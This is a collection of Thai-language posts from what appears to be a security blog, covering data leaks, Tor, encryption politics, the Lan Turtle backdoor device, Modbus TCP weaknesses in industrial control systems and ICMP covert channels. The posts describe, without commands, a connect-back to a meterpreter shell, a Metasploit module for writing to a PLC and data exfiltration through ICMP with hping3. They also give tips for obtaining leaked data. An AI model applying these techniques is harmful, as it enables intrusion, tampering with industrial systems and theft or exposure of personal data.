- รอบสอง Data มีขนาดประมาณ 20 GB ซึ่งรอบนี้มีปัญหาคือไฟล์ขนาด 13 GB ที่คาดว่าเป็น Email Dump ของผู้บริหารนั้นเกิด Corrupt ทำให้เปิดไม่ได้
- รอบสาม Data มีขนาดประมาณ 18 GB ซึ่งเป็นตัวแก้ไข Email Dump ที่ Corrupted ในรอบที่ 2 โดยรอบนี้ก็มีปัญหาเช่นเดียวกันคือ หลังจากปล่อยผ่าน Torrent มา 2-3 วันแล้ว แต่ทุกคนไม่สามารถโหลดได้สำเร็จเนื่องจาก Seeder หาย ทำให้โหลดได้ประมาณ 17 GB จาก 18 GB
นอกจาก Data ที่รั่วออกมาตอนนี้แล้ว Impact Team ยัง Claim ว่ายังมี Data ที่เป็นรูปอีกหลายร้อย GB เตรียมที่จะปล่อยอยู่อีก
เรื่องของ Data Leak ไม่ใช่เรื่องใหม่ ก่อนหน้านี้ไม่นานก็มีเรื่องราวของ Hacking Team ที่ถูก Hack และถูกนำข้อมูลออกมาปล่อยบน Internet ประมาณ 400 GB โดยข้อมูลของ Hacking Team มีความสำคัญกับความมั่นคงในระดับชาติ มี Zero day exploit ต่าง ๆ ถูกปล่อยออกมารัว ๆ ในช่วงเวลานั้น
{width="100%"}
เท่าที่จำได้เรื่องข้อมูลรั่วยังมี Series ชื่อดังอย่าง Game of Thrones Season 5 ถูกนำเอามาปล่อยบน Bittorrent ก่อนวันที่กำหนดโดยตอนนั้นหลุดออกมารวดเดียวถึง 4 Episodes ซึ่ง Leak ครั้งนี้ผมเชื่อว่าคนส่วนใหญ่ Happy นะครับ
{width="100%"}
นอกจากนี้ยังมี Campaign ที่ชื่อว่า Dark Hacktivism – Information is everything ที่กลุ่ม Hacker ชื่อว่า TeamGhostShell ได้โจมตีเวปไซต์มากกว่า 100 เวปไซต์ โดยเน้นไปที่สถาบันการศึกษา โดยสถาบันการศึกษาในไทยก็โดนไปพอสมควร
{width="100%"}
ย้อนกลับไปเมื่อปลายปีที่แล้ว Sony Picture ถูก Hack โดยกลุ่ม GOP (Guardian of Peace) ตามข่าวบอกว่าข้อมูลถูกขโมยออกมาประมาณ 100 TB (TB Terabyte ถูกแล้วครับ ไม่ใช่แค่ระดับ GB) แต่ที่เห็น Torrent ให้โหลดตอนนั้นมีประมาณ 30 GB
{width="100%"}
นี่เราพูดกันถึง Data ระดับใหญ่ ๆ ที่รั่วแล้วเป็นข่าวเท่านั้นนะครับ ซึ่งจริง ๆ แล้วยังมี Data อีกมากที่รั่วออกมาแล้วไม่เป็นข่าว หรือในบางกรณีองค์กรไม่รู้ตัวด้วยซ้ำว่าถูกขโมยข้อมูลออกไปแล้ว ถ้าอยากดูสถิติเกี่ยวกับเรื่องการ Data ที่ถูกขโมย หรือ การที่ Hacker แฝงตัวใน network ขององค์กร สามารถไปหา Report ของ Mandiant มาอ่านเพิ่มได้นะครับ {rel=""nofollow""}
ซึ่งในตอนต่อไปจะพูดถึงประเด็นต่าง ๆ ในเรื่อง Data Leakage และ Data Privacy สำหรับกลุ่มคน 2 กลุ่มนั่นคือ
- คนที่สนใจจะป้องกันข้อมูลขององค์กร ไม่อยากตกเป็นเหยื่อรายต่อไป
- คนที่สนใจอยากเข้าถึง Data ที่ Leak ออกมา ซึ่งเดิมคุณอาจจะคิดว่าแค่หา Link Download ได้ก็พอแล้ว แต่เดี๋ยวนี้ผมคิดว่าไม่พอแล้วล่ะ มันมีเรื่องอื่นที่ควรคำนึงถึงอีกเช่น
- ความเร็วในการ Download ข้อมูล ปริมาณมากขนาดนี้ ถ้าช้าบางครั้งมันถูกลบไป จะหา Link ใหม่ ก็ยาก
- Storage ที่มีอาจไม่พอที่จะเก็บข้อมูลเหล่านี้ เพราะมันเยอะมาก
- Search Engine ที่ใช้ ถ้าคุณใช้ Google หาข้อมูลบางครั้ง Data ถูก Filter ออกเยอะมาก
- พอ Original Data เริ่มปล่อยออกมาเสร็จ ก็จะมีคนเอา Data ไป Filter แล้วเอามาปล่อยซ้ำบอกว่าเป็นข้อมูลที่ Leak ทำให้เสียเวลา Download อันที่ไม่สมบูรณ์ ที่เห็นเป็นประจำคือกรณีที่ credential leak ออกมาก ตัว Original data มี Format เป็น username\:password หลัง ๆ จะมีคนเอามาปล่อยโดยตัด password ทิ้ง เหลือให้แต่ username
- กรณีที่ Filter Data ทิ้งไม่เท่าไร บางครั้งเจอพวก malware หรือ เจอปล่อย Fake Data ออกมาด้วย
- อย่างกรณี Ashley Madison ล่าสุดที่ปล่อย Corrupted file และ ไม่มี Seeder ที่มี File ครบ 100% นี่อาจเป็นการตั้งใจหรือไม่ตั้งใจก็เป็นได้ แต่มันทำให้เสียเวลา เปลือง Bandwidth เปลือง Storage
- Skill ที่ควรมีเพิ่มคือเรื่องของการทำ Forensics วิเคราะห์ Corrupted File, ทำ Data recovery จาก Corrupted File
- Dark Marketplace ที่มีการซื้อขาย Data
- etc.
# Tor map
การโจมตีที่ดีย่อมต้องคู่กับการทำอย่างไรให้จับตัวยาก ซึ่งหนึ่งในวิธีการพรางตัวยอดนิยมของคนกลุ่มนี้ในโลก Online นั่นคือการใช้ Tor (The onion router) โดยทำตัวเป็น anonymous Proxy chain ทำให้ตามหาแหล่งต้นตอได้ยากและใช้เวลานานในการค้นหา เหมือนกับ "Catch me if you can" นั้นเอง
ล่าสุด Luke Millanta (Software Developer จาก Australia) ได้ทำการนำข้อมูลของ Tor node มาทำการวิเคราะห์และ Plot บนแผนที่โลกเพื่อดูว่าการกระจายตัวของ Tor node นั้นอยู่ตำแหน่งใด โดยสามารถพิจารณาข้อมูลได้จาก [onionview.com](http://onionview.com/){rel=""nofollow""} ตามรูปด้านล่าง
จะเห็นได้ว่าสิ่งที่น่าสนใจจากแผนที่ดังกล่าวคือ ฝั่งอเมริกาและยุโรปนั้นมีการกระจายตัวของ Tor node อยู่ค่อนข้างมาก และ ถ้าสังเกตที่ประเทศที่ถูกกล่าวหาบ่อยๆว่ามี Cyber Criminal Teams อยู่มากมาย เช่น รัสเซีย หรือ แม้แต่จีนที่มีข่าวว่าทำการโจรกรรมข้อมูลจากบริษัทต่างๆทั่วโลกตามที่มีการแจ้งในรายงานของ Mandiant ที่มีชื่อว่า APT1 นั้นแทบจะไม่มี Tor Node อยู่เลย
ข้อมูลนี้ทำให้เกิดข้อสงสัยนะครับว่า ถ้ารัสเซียและจีนทำการขโมยข้อมูลหรือมีการใช้ Malware ต่างๆ จริง (ตามในข่าวหรือรายงานทั่วๆไป) ทำไมถึงมี Tor node อยู่น้อยหรือว่า 2 ประเทศนี้มีวิธีการพิเศษอื่นๆเพื่อปกปิดตัวตนและเนียนกว่าการใช้วิธีนี้ ส่วนฝั่งอเมริกาและยุโรปนั้นเหตุใดถึงมีจำนวน Tor node เป็นจำนวนมาก และ Tor node เหล่านี้ถูกนำไปใช้ในทางที่ไม่ดีหรือไม่ นั้นเป็นสิ่งที่เราคงต้องวิเคราะห์และเฝ้าดูต่อไป
# Security story behind the Paris attack
สัปดาห์ที่ผ่านมามีเหตุการณ์น่าสลดใจคือเรื่องการก่อวินาศกรรมที่ Paris ซึ่งก่อให้เกิดความสูญเสียครั้งใหญ่ หลังจากเหตุการณ์เกิดขึ้นทางกลุ่ม ISIS ซึ่งเป็นกลุ่ม Terrorist ก็ได้ออกมาบอกว่ากลุ่มตนอยู่เบื้องหลังการโจมตีในครั้งนี้ ({rel=""nofollow""})
ซึ่งทางกลุ่ม Anonymous ซึ่งเป็นกลุ่ม Hacktivist ชื่อดังก็ได้ออกมาประกาศ Campaign ที่ชื่อว่า OpParis เพื่อที่จะจัดการกับกลุ่ม ISIS
โดยเบื้องต้นทาง Anonymous ได้เริ่มจากการ List Twitter Accounts ของผู้ที่อยู่ร่วมกับกลุ่ม ISIS ({rel=""nofollow""})
หลังจากที่กลุ่ม Anonymous ออกมาประกาศ OpParis ทางกลุ่ม ISIS เองก็มีการตอบโต้ผ่านทาง Telegram (เป็น Instant messaging application ที่มีความปลอดภัยสูง) โดยบอกว่ากลุ่ม Anonymous เป็นพวก Idiots พร้อมทั้งให้คำแนะนำในการป้องกันจากการถูก Hack
ซึ่งนี่คงเป็นจุดเริ่มต้นที่ทำให้เกิดสงครามทางด้าน Cyber ครั้งใหญ่ระหว่างกลุ่ม ISIS และ Anonymous ล่าสุดทาง Anonymous เองก็ได้ตอบโต้ ISIS แล้ว โดยการ Publish How-to Hacking Guide ออกมา โดยแบ่งเป็น 3 ส่วน คือ NoobGuide, Reporter, Searcher ซึ่งจุดนี้เป็นการใช้พลังของโลก Online ช่วยกันหาข้อมูลของที่เกี่ยวข้องกลับกลุ่ม ISIS (อยากลองอ่าน Guide สามารถไปหาได้จากใน Link นี้นะครับ {rel=""nofollow""})
นอกจากนี้ยังมีการกล่าวว่าหนึ่งในสาเหตุที่ Paris ถูกโจมตีนั้นเป็นเพราะ Edward Snowden ที่ได้ออกมาพูด ทำให้โลกตื่นตัวกับเรื่องของ Surveillance (หรือ การแอบ monitor ข้อมูลการใช้งานของประชาชน) ซึ่งทำให้กลุ่ม Terrorist ตื่นตัวมากขึ้นกับเรื่องการใช้ช่องทางสื่อสาร รวมถึงผู้คนทั่วในปัจจุบันเริ่มให้ความสำคัญกับ Encryption มากขึ้น
ในปัจจุบันทุกท่านคงเคยได้ยินข่าวที่หน่วยงานรัฐบาลต่างๆ มักมีการทำ Surveillance ซึ่งแน่นอนว่าถ้าเป็นช่องทางทั่วๆไป เช่น โทรศัพท์, Instant messaging application, Email ต่างๆ นั้นไม่น่าพลาดที่จะถูก Monitor อย่างไรก็ตามปัญหาหลักของการทำ Surveillance นั้นคือเรื่องของการทำ Encryption หรือการเข้ารหัสข้อมูลนั่นเอง
เกริ่นมานาน อยากพูดถึงประเด็นหลักของการทำ Encryption กับช่องทางการสื่อสาร
หน่วยงานรัฐบาลทั้งหลาย หรือ ในบางประเทศมีกฏหมายเกี่ยวกับ Standard ที่ใช้ในการทำ Encryption ซึ่งมันคงไม่เป็นประเด็นหากบังคับให้มีการใช้ Algorithm ที่ดี แต่โดยมากมักบังคับให้ใช้ Algorithm ที่ไม่ดี หรือว่า Key length ที่ไม่สูงนัก หรือแม้แต่อยากจะใส่ Backdoor เข้าไป เพื่อที่หน่วยงานรัฐบาลจะได้สามารถทำการ Decrypt ได้ จริงๆแล้วก็คืออยากให้มีการทำ Encrypt แหละ แต่อย่าให้มันซับซ้อนมากนะเดี๋ยวหน่วยงานจะถอดออกมาแอบอ่านไม่ได้
ซึ่งประเด็นนี้ค่อนข้าง Sensitive มากทีเดียว เพราะหน่วยงานรัฐบาลทั่วโลกจะใช้เป็นประเด็นว่าถ้าไม่สามารถแกะอ่านได้ อาจทำให้ไม่สามารถทำการเก็บรวบรวมข่าวได้ ซึ่งมีโอกาสพลาดที่จะตามจับ หรือ เข้าถึง ข้อมูลที่มีการวางแผนโดยผู้ก่อการร้ายกลุ่มต่างๆ
แน่นอนว่าถ้าเข้าถึงข้อมูลไม่ได้ ก็มีความเสี่ยงต่อชีวิตและทรัพย์สินของประชากรแน่ๆ แต่อย่างไรก็หากแกะอ่านข้อความได้มันก็เป็นการรุกรานเรื่อง Privacy ของประชากรทุกๆคนด้วยเช่นกัน มันเป็นสิ่งที่ค่อนข้างยากที่จะตัดสินประเด็นนี้ว่าควรทำอย่างไร มันจำเป็นหรือไม่ที่ทุกคนจะต้องสละสิทธิ์ในการปกป้อง Privacy ของตนเอง เพื่อป้องกันการก่อการร้าย
ถ้ามีคนบอกว่าเพื่อป้องกันการก่อการร้าย จะต้องอนุญาตให้ทำ Surveillance ได้ ซึ่งทางเทคนิคก็คือการไม่ทำ Encryption นั่นแหละ (รวมถึงการใช้ Algorithm ที่ไม่ดี หรือ ใช้ Key Length ต่ำ) มันก็คงเหมือนกับ กรณีที่กลุ่มผู้ก่อการร้ายขับรถเพื่อใช้เป็น Car Bomb แล้วสั่งให้ทุกคนห้ามขับรถ
"Encryption is for everyone or no one" หลักการทำ Encryption นั้นมีพื้นฐานมาจากคณิตศาสตร์ มันเป็นไปไม่ได้ว่าจะอนุญาตให้เฉพาะคนทั่วไปใช้วิธีการ Encryption แต่ห้ามกลุ่มผู้ก่อการร้ายใช้วิธีการ Encryption ดังนั้นสิ่งที่มาคู่กับการปกป้อง Privacy ของตัวเองนั้นก็คืออาจจะมีผู้นำเทคนิคเดียวกันไปใช้เพื่อทำสิ่งไม่ดีเช่นกัน
และล่าสุดได้มีการแชร์เรื่อง Security Ranking ของ communication application ซึ่งเป็นข้อมูลที่ทาง ISIS ทำไว้เมื่อเดือนมกราคม เพื่อให้ผู้ติดตามของ ISIS สามารถหลีกเลี่ยงจากการทำ Surveillance โดยหน่วยงานรัฐบาลได้
ซึ่งจากข้อมูลนับว่าสนใจอย่างมาก เพราะ Application อย่าง Line ที่มีการใช้อย่างแพร่หลายในประเทศไทยนั้นอยู่ในกลุ่ม "Unsafe"
# Lan Turtle – A cool gadget from Hak5
หลังจากเคย Post เรื่องเกี่ยวกับเจ้าเป็ดน้อย USB Rubber Ducky ไปเมื่อนานมาแล้ว [rubber-ducky-in-action](https://incognitolab.com/blogs/rubber-ducky-in-action) วันนี้ทางทีมเพิ่งได้รับอุปกรณ์ที่สั่งไว้ตั้งแต่ก่อนปีใหม่ ซึ่งอุปกรณ์ครั้งนี้ก็คือเจ้าเต่าน้อย Lan Turtle ก็มาจาก Hak5 เช่นเดิม
เช่นเดียวกับ Rubber Ducky เจ้า Lan Turtle นี่ไม่ได้น่ารักใสซื่อเหมือน Logo ที่ใช้เลย หน้าที่ของเจ้าเต่าน้อยนี้ก็คือทำตัวเป็น Network Backdoor ให้ Hacker สามารถ Connect เข้าไปถึง shell ของ Lan Turtle ได้เลยไม่ว่าจะต่ออยู่ที่ Network ไหน การใช้งานก็ไม่ต้องทำไรวุ่นวายเพราะเพียงแค่เอาไปเสียบ USB ที่เครื่องแล้วเอาสาย LAN ต่อเข้ากับ Lan Turtle ก็เรียบร้อย
เดี๋ยวมาลองทดสอบกันโดยในวีดีโอทดสอบนี้จะทำสองส่วนคือ
1. ให้ Lan Turtle connect back กลับมาที่ meterpreter shell ของเครื่องที่ตั้งไว้
2. ใช้ URLsnarf เพื่อดู website ต่าง ๆ ที่เครื่องเหยื่อเข้าใช้งาน
ซึ่งจริง ๆ แล้ว Lan Turtle ค่อนข้างน่ากลัวกว่าตัวอย่างนี้มาก เพราะว่าถ้าได้ไปอยู่ใน Network ไหนแล้ว Hacker ก็สามารถที่จะ remote มาที่ Network นั้น ๆ ได้ทันที นั่นรวมไปถึงการใช้เทคนิค Hacking รูปแบบต่าง ๆ เพื่อโจมตีเครื่องอื่น ๆ ใน Network ด้วยนะครับ
# Communication Plan and Security Breach Notification Law
เรียกได้ว่า Post นี้เกิดจากความสงสัยของผมที่ว่าเวลาที่ผมต้องหาข่าวเกี่ยวกับหน่วยงานหรือบริษัทที่ถูก Hack ในกรณีที่เป็นบริษัทในต่างประเทศเปรียบเทียบกับบริษัทในประเทศไทยแล้วมันมีความแตกต่างกัน สิ่งที่แตกต่างชัดเจนที่สุดคือ
กรณีเว็บในต่างประเทศถูก Hack ส่วนใหญ่ถ้า Search หาข่าวมักจะเจอแหล่งข่าวที่มาจาก Source เดียวกัน ซึ่งโดยส่วนใหญ่ผู้ให้ข่าวก็คือบริษัทหรือหน่วยงานที่ถูก Hack แต่ในทางกลับกันถ้าเป็นของประเทศไทย มักจะมีข่าวมากมายบน Social Network บางอันจริงบางอันก็เกินจริง ซึ่งแหล่งที่มาของข่าวนั้นเรียกได้ว่าแทบไม่มีที่มาจากบริษัทหรือหน่วยงานที่ถูก Hack เลย
ถ้าใครเคยได้ศึกษา BCM (Business Continuity Management) จะพบว่าสิ่งหนึ่งที่มีความสำคัญในการทำให้เกิดความต่อเนื่องทางธุรกิจคือเรื่องการทำ Communication Plan\*\* คือในกรณีที่เกิดปัญหาขึ้น บริษัทหรือหน่วยงานจะ\*\*มีตัวแทนที่ทำหน้าที่สื่อความให้กับผู้เกี่ยวข้อง รับรู้ถึงปัญหาและความเคลื่อนไหวต่าง ๆ ที่เกิดขึ้น โดยจะแบ่งออกเป็น 3 ส่วนคือ
1. การให้ข่าวสารภายใน (ให้ข่าวสารต่อพนักงานในองค์กร)
2. การให้ข่าวสารภายนอก (ให้ข่าวสารกับลูกค้า, vendors, suppliers)
3. การให้ข่าวสารกับนักข่าวสื่อมวลชน
โดยทั้ง 3 ส่วนนั้น จะมีการกำหนดข้อความและดำเนินตามแผนซึ่งกำหนดไว้เท่านั้น ถึงแม้ว่าเป็นบุคคลที่เป็นตัวแทนก็ไม่ใช่ว่าจะสามารถพูดอะไรก็ได้ รวมถึงบุคคลอื่น ๆ ภายในองค์กรก็ไม่สามารถให้ข้อมูลกับ 3rd Party โดยเด็ดขาด ทั้งนี้เพื่อเป็นการ Control Information ที่จะออกสู่สาธารณะ
ซึ่งผมคิดว่าเป็นวิธีที่ดีมาก ถ้าได้นำมาใช้ในไทยอาจจะลดเรื่องกระแสด้านลบบน Social Network กรณีที่หน่วยงานราชการถูก Hack ลงได้บ้าง เพราะปัจจุบันพอไม่มีใครที่เป็นผู้รับผิดชอบออกมาให้ข่าว ก็กลายเป็นต่างคนต่างเขียนข่าว ดีบ้างไม่ดีบ้าง ซึ่งบางครั้งอาจส่งผลให้ภาพลักษณ์ของประเทศเสียก็เป็นได้
นอกจากนี้ผมลอง Search เกี่ยวกับเรื่องข้อกำหนดทางกฎหมายพบว่าในต่างประเทศนั้นมีกฎหมายที่เรียกว่า "Security Breach Notification Law" ใน USA เริ่มมีการใช้กฎหมายนี้ครั้งแรกที่รัฐ California ซึ่งเริ่มตั้งแต่ในช่วงปี 2002-2003 (13 ปีที่แล้ว)
ถ้าเข้า {rel=""nofollow""} ก็จะเจอรายละเอียดตามรูปด้านล่างนะครับ โดยสรุปก็คือถ้ามีข้อมูลของประชาชนถูกเอาไปโดยไม่ได้รับอนุญาตก็ให้แจ้งด้วย โดยมี Link ให้กดเพื่อ Submit ข้อมูลรายละเอียดด้วย รวมไปถึงมี Link ที่สามารถกดเข้าไปดูได้ว่าในอดีตนั้นเกิด Data Security Breach มามากน้อยแค่ไหนแล้ว
{width="100%"}
{rel=""nofollow""}
# ICS คืออะไร ระบบควบคุมอุตสาหกรรมที่ต้องรู้จัก
ในช่วงปีหลัง ๆ ที่ผ่านมาถ้าใครติดตามเรื่อง Security คงจะเคยได้ยินเรื่องของ ICS มาบ้าง โดย ICS นั้นก็คือระบบ IT ที่ใช้ควบคุมระบบเครื่องจักรต่าง ๆ ในโลกของเรานั่นเอง ไม่ว่าจะเป็นระบบขนส่งต่าง ๆ ระบบไฟฟ้า ระบบน้ำประปา และ ระบบอื่น ๆ ล้วนใช้ ICS ควบคุมทั้งนั้น (แต่ถ้าเราไปพูด Keyword ICS กับคนที่ทำงานในระบบต่าง ๆ เหล่านั้นเค้าอาจไม่คุ้น เนื่องจากว่าแต่ละระบบนั้นมักมี Keyword เฉพาะ เช่น SCADA, DCS)
ICS หน้าตาอย่างไร? เพื่อให้เข้าใจง่ายที่สุด Component หลัก ประกอบด้วย 3 ส่วนคือ
1. Field Device คือ อุปกรณ์ที่ทำหน้าที่เป็น Input หรือ Output กับ Physical World เช่น หลอดไฟ ปั๊ม sensor วัดอุณหภูมิ
2. PLC (Programmable Logic Controller) มองว่าเป็นคอมพิวเตอร์จิ๋วที่ถูกโปรแกรมให้ทำหน้าที่ควบคุม Field Device
3. HMI (Human Machine Interface) คือ Software ที่เป็น GUI สำหรับให้ผู้ดูแลระบบ (Operator) ควบคุมการทำงานของ ICS
ในรูปด้านล่างซ้ายมือเป็น Raspberry Pi ต่อกับ PiFace Module ทำหน้าที่เป็น PLC ในขณะที่ด้านขวาเป็นหลอดไฟ LED ทำหน้าที่เป็น Field Device โดยในตัวอย่างนี้เราจะจำลองเป็นระบบควบคุมสัญญาณไฟจราจรนะครับ
หลักการทำงานแบ่งเป็น 2 Mode คือ
1. Read Operation – Field Device ทำหน้าที่เก็บข้อมูลแล้วส่งให้ PLC ประมวลผลเพื่อส่งให้ HMI แล้ว Operator จะสามารถดูข้อมูลผ่าน HMI ได้ (Field Device -> PLC -> HMI -> Operator)
2. Write Operation – Operator สั่งงานผ่าน HMI จากนั้น HMI ส่งคำสั่งให้ PLC แล้ว PLC จะสั่งให้ Field Device ทำงาน (Operator -> HMI -> PLC -> Field Device)
[/blogs/industrial-control-system-ics-part-2](https://incognitolab.com/blogs/industrial-control-system-ics-part-2)
# ICS ตอนที่ 2 รู้จัก Modbus TCP โปรโตคอลหลักของระบบควบคุม
[/blogs/industrial-control-system-ics](https://incognitolab.com/blogs/industrial-control-system-ics)
ในตอนนี้มาทำความรู้จักกับ Protocol Modbus TCP ซึ่งเป็น Protocol ที่นิยมใช้กันในระบบ ICS หรือ SCADA นะครับ
เริ่มจากการดักจับข้อมูลบน Network
ในวีดีโอจะเห็นว่าจะมีการรับส่ง Packet ของข้อมูลตลอดเวลา โดยส่วนใหญ่จะเป็น Read เนื่องจากว่า HMI (Human Machine Interface) มีการเรียกข้อมูลจาก PLC เพื่อทำการ Update หน้าจอแสดงผลตลอดเวลา จะมีการ Write ค่ากลับไปเฉพาะช่วงที่ผมกดเลือก Blinking เพื่อสั่งให้ไฟเหลืองกระพริบเท่านั้น
ใน Wireshark เรา Filter โดยใช้คำว่า mbtcp ซึ่งหมายถึง Protocol Modbus TCP นั่นเอง โดย Format ของ Modbus TCP นั้นเป็นไปตามรูปด้านล่าง
ซึ่งถ้าเทียบกับข้อมูลใน Wireshark ก็จะเห็นได้ว่าเป็นไปตาม Format เดียวกัน โดยการสั่งให้ Read หรือ Write นั้นจะขึ้นอยู่กับ Function Code
ปัญหาหลักของ Modbus TCP คือไม่มี Authentication หรือ Authorization ที่ Layer นี้ทำให้ใครก็ได้ที่สามารถเข้าถึง Network เดียวกับ ICS หรือ SCADA สามารถส่งคำสั่งเข้าเพื่อควบคุมระบบได้โดยตรง
ซึ่งมี auxiliary module ของ Metasploit ที่สามารถใช้ Read/Write ค่าต่าง ๆ ผ่าน Modbus TCP ได้ โดย module นี้ชื่อว่า auxiliary/scanner/scada/modbusclient
ลองดูตามตัวอย่างในคลิปถัดไปนะครับ แค่มีผู้ไม่ประสงค์ดีเข้าถึง Network รันคำสั่งแค่นิดเดียวก็สามารถเปลี่ยน State ของไฟจราจรจำลองได้ทันที
จากปัญหานี้ หนึ่งในวิธีการป้องกันในอดีตคือการทำให้ระบบ ICS อยู่ใน Closed Environment ไม่ต้องให้ยุ่งกับส่วนอื่น ๆ ที่ไม่เกี่ยวข้อง ตามทฤษฎีเราจะเรียกหลักการนี้ว่า "Air Gap Principle" ในยุค 1960-1990 หลักการนี้ใช้ได้ดีมาก แต่ในปัจจุบันระบบต่าง ๆ มีการเชื่อมต่อกันมากขึ้น แม้แต่ระบบ ICS เองก็มักมีการเชื่อมต่อกับระบบภายนอก หรือ บางระบบนั้นมีแม้กระทั่งการเชื่อมต่อกับ Internet โดยตรง!!!!
# Basic Covert Channel
> Covert (adj.) = Hidden or Secret
คำว่า Covert Channel ในเรื่องของ Security หมายถึง การส่งข้อมูลโดยใช้ช่องทางที่ไม่ได้ถูกออกแบบมาให้ส่งข้อมูลนั้น ๆ
ใครที่งงแนะนำว่าอ่าน Definition ภาษาอังกฤษ จะเข้าใจง่ายกว่า
> A covert channel is a path for the illegal flow of information between subjects within a system, utilizing system resources that were not designed to be used for inter-subject communication
คำที่ตรงข้ามกับ Covert Channel คือ Overt Channel นะครับ ซึ่ง Overt แปลว่า เปิดเผย (Public) การส่งข้อมูลทั่ว ๆ ไปนั้นเป็นลักษณะ Overt Channel
โดยทั่วไปการทำ Covert Channel นั้นใช้ช่องทางการส่งข้อมูลที่ไม่ถูก Block ใน Network ข้อมูลที่จะถูกส่งผ่าน Covert Channel นี้มักถูกใส่ไว้ในส่วนของ Header หรือ Payload ของ Protocol ซึ่งแต่ละ Protocol นั้นสามารถนำมาใช้ทำ Covert Channel ได้แต่ประสิทธิภาพของแต่ละ Protocol นั้นไม่เท่ากัน ทั้งนี้ขึ้นอยู่กับ Protocol Specification ด้วย เช่น ใน TCP Protocol มี Field ของ Header ที่มากกว่า ICMP Protocol ดังนั้นการทำ Covert Channel บน TCP Protocol น่าจะมีประสิทธิภาพสูงกว่า ICMP
## ตัวอย่างการทำ Covert Channel บน ICMP
ก่อนที่จะทำความเข้าใจเทคนิคการทำ Covert Channel ควรจะต้องมีความเข้าใจเกี่ยวกับ Protocol นั้น ๆ ก่อน รูปด้านล่างเป็น ICMP Protocol ที่มีส่วนของ Header (Type, Code, Checksum) และ Data (Payload) ซึ่ง ICMP เป็น Protocol ที่ใช้ในการส่งข้อมูลระหว่างกันเพื่อตรวจสอบปัญหาต่าง ๆ ในกรณีที่ Network มีปัญหา

ซึ่งในส่วนของ Type และ Code นั้นจะเป็นไปตามมาตรฐานของ Protocol เช่น การส่งคำสั่ง Ping คือการทำ Echo request จะเป็น Type 8 Code 0 และในส่วนของ Data ก็มักจะมีการส่ง String ไปด้วย ซึ่ง String นี้จะแล้วแต่แต่ละ OS อย่างตัวอย่างด้านล่างจะเป็นการ Ping จาก OSX (ในส่วนของ Checksum จะไม่ขอพูดถึงละเอียดว่าคำนวณอย่างไรนะครับ โดยคร่าว ๆ Checksum คือค่าที่ใช้ในการตรวจสอบว่าข้อมูลที่ส่งมานั้นมีความถูกต้องหรือไม่ ถ้าไม่ถูกก็จะมีการ Drop ทิ้งไป)
ในส่วนของ Data (Payload) จากตัวอย่างข้างบนคือมีการส่งค่า "0809010b………" ซึ่งค่านี้เป็นค่าที่สร้างโดย Default ขึ้นมาอาจแตกต่างกันได้ในแต่ละ OS โดยปกติ Data ของ ICMP จะใส่ข้อมูลของ Packet ที่มีปัญหาเพื่อแจ้งให้ Sender ทราบว่าใน Network มีบางอย่างผิดปกติ
แทนที่ส่วนของ Data (Payload) จะส่งข้อมูลของ Packet ที่มีปัญหา เราสามารถใช้ Data (Payload) ในการทำ Covert Channel เพื่อส่งข้อมูลออกไปที่เครื่อง Server ปลายทางได้ด้วย ซึ่งเหตุผลของการทำ Covert Channel นั้นมักจะเป็นเรื่องของความต้องการที่จะ Bypass Firewall/ACL หรือ อยากให้การตรวจจับทำได้ยาก โดยตัวอย่างนี้แทนที่จะทำการ Upload ไปที่เว็บต่าง ๆ อาจเลือกใช้วิธีการส่ง Echo request ออกไปแทน
ทดลองส่ง Text จาก Text File ที่สร้างขึ้นโดยทำ Covert Channel ผ่าน ICMP ซึ่งสามารถใช้ Tool อย่าง Hping3 ทำได้
ลอง Run คำสั่งของ Hping3 พร้อมจับ Packet ผ่าน WireShark ดูที่ช่อง Data ของ ICMP packet จะเห็นว่ามีการส่งข้อมูลออกไป
---
**ไว้ในบทความถัด ๆ ไปจะลองทำอันที่ซับซ้อนมากขึ้นนะครับ**
# Types of Company
> "เพราะเราไม่ได้ทำ Security แบบเล่นๆ
> ดังนั้นบริษัทที่เราทำงานนั้น Security ต้องเป็น Core Business"
บทความก่อนๆเคยพูดถึงประเภทงานไปแล้ว [Thailand It Security Career](https://incognitolab.com/blogs/thailand-it-security-career) คราวนี้มาพูดเรื่องประเภทบริษัทดีกว่า ขอแบ่งง่ายๆเป็น 2 ประเภทครับ
1. บริษัทที่ไม่ได้มี Core Business เป็นเรื่อง Security
บริษัทในกลุ่มนี้ก็คือบริษัททั่วๆไปที่ งาน IT หรืองาน Security เป็นงาน Support ธุรกิจหลักของบริษัท เช่น กลุ่มธุรกิจการเงิน (ธนาคาร, ประกัน, หลักทรัพย์, ปล่อยกู้เช่า-ซื้อ) กลุ่มโรงงานอุตสาหกรรม กลุ่มปิโตรเลียม หน่วยงานราชการ และอื่นๆอีกมากมาย เรียกว่าเกือบทุกบริษัทล่ะครับ ซึ่งกลุ่มนี้ถ้ามีงาน Security เปิดรับล่ะก็ จะต้องเป็นบริษัทที่ค่อนข้างใหญ่ เป็นที่รู้จัก ถ้าได้ทำงานที่นี่คนรู้จักรอบข้างคงจะเห็นดีเห็นงามด้วย เพราะว่าเป็นบริษัทขนาดใหญ่ ใครๆก็รู้จัก รวมถึงมีความมั่นคงสูง "แต่ Security ไม่ใช่ Core Business เท่านั้นเอง"
อีกทั้งในบางครั้งบริษัทที่แกร่งมาก พอมีการ Reorganisation ก็จะมีการแยกงานด้าน IT ออกมาจากบริษัทแม่แล้วตั้งเป็นบริษัทลูก ซึ่งบริษัทประเภทนี้ก็เหมือนจะเป็นบริษัททำ IT อย่างเดียว แต่จริงๆแล้วโดยภาพรวม Core Business ก็คือการ Support บริษัทแม่อยู่ดีแหละครับ การทำงานกับบริษัทใหญ่ ชีวิตมักจะขึ้นอยู่กับ นโยบาย และ ผู้บริหาร เป็นหลักถึง Idea คุณจะกระฉูด แต่บางทีแม้แต่โอกาสที่จะนำเสนอผู้บริหารก็ยังไม่มี
ถ้าทำงานบริษัทประเภทนี้และบริษัทไม่อยากลงทุนด้าน Security ล่ะ "ตัวคุณ" จะเป็นอย่างไร? ส่วนใหญ่มักจะเรียกว่า Maintain Skill คนซะมากกว่า เน้นการดูแล Operation ของอุปกรณ์ต่างๆให้ทำงาน Support ส่วนที่เป็น Core Business ไปก็พอ ถ้าคิดจะพัฒนาตัวเองโดยหวังว่าบริษัทกลุ่มนี้จะส่งคุณไป อาจจะต้องทำใจ เพราะว่าบริษัทส่วนใหญ่เจียดงบค่า Training ต่อคนต่อปี น้อยกว่าเรียนคอร์สอาจารย์อุ๊ สมัยมัธยมปลายเสียอีก ทั้งนี้บางบริษัทถ้าผู้บริหารให้ความสำคัญด้าน Security ก็อาจจะดีกว่านี้บ้างนะครับ
